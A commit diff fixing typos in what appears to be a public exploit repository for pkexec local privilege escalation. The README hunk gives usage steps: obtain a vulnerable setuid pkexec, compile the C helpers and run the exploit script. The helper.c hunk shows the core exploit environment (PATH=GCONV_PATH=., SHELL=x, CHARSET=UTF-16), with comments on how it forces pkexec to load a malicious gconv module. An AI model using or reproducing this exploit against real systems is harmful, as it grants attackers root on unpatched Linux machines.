Typos

README.md

@@ -13,8 +13,8 @@ How to:
 
 1. Get a vulnerable version of `pkexec` e.g. from `policykit-1 <= 0.105-31` in
    the [Debian repos][polkit-debian] or even built [from source][polkit-source].
-   You can  have it locally installed or just copy get the `pkexec` executable
-   alone directly in this directory.
+   You can  have it locally installed or just copy the `pkexec` executable alone
+   directly in this directory (make sure it's executable and setuid root).
 2. Ensure you have GCC installed in order to compile the two C helpers in this
    repo.
 3. Run `./expl.sh` and enjoy.
@@ -27,8 +27,6 @@ Demo:
 
 ![result](terminal.gif)
 
-
-
 Cheers, @mebeim :)
 
 

helper.c

@@ -17,12 +17,12 @@ int main(void) {
 		// will overwrite envp[0] essentially setting up the GCOV_PATH env var.
 		"PATH=GCONV_PATH=.",
 
-		// A shell that is not be present under /etc/shells, so that
-		// pkexec's validate_environment_variable() fails, calling g_printerr().
+		// A shell that is not present under /etc/shells, so that pkexec's
+		// validate_environment_variable() fails, calling g_printerr().
 		"SHELL=x",
 
 		// An encoding that is not UTF-8, so g_printerr() invokes a loadable
-		// module (fake_module.c) for string conversion from GCOV_PATH.
+		// module (fake_module.c) for string conversion from GCONV_PATH.
 		"CHARSET=UTF-16",
 		NULL
 	};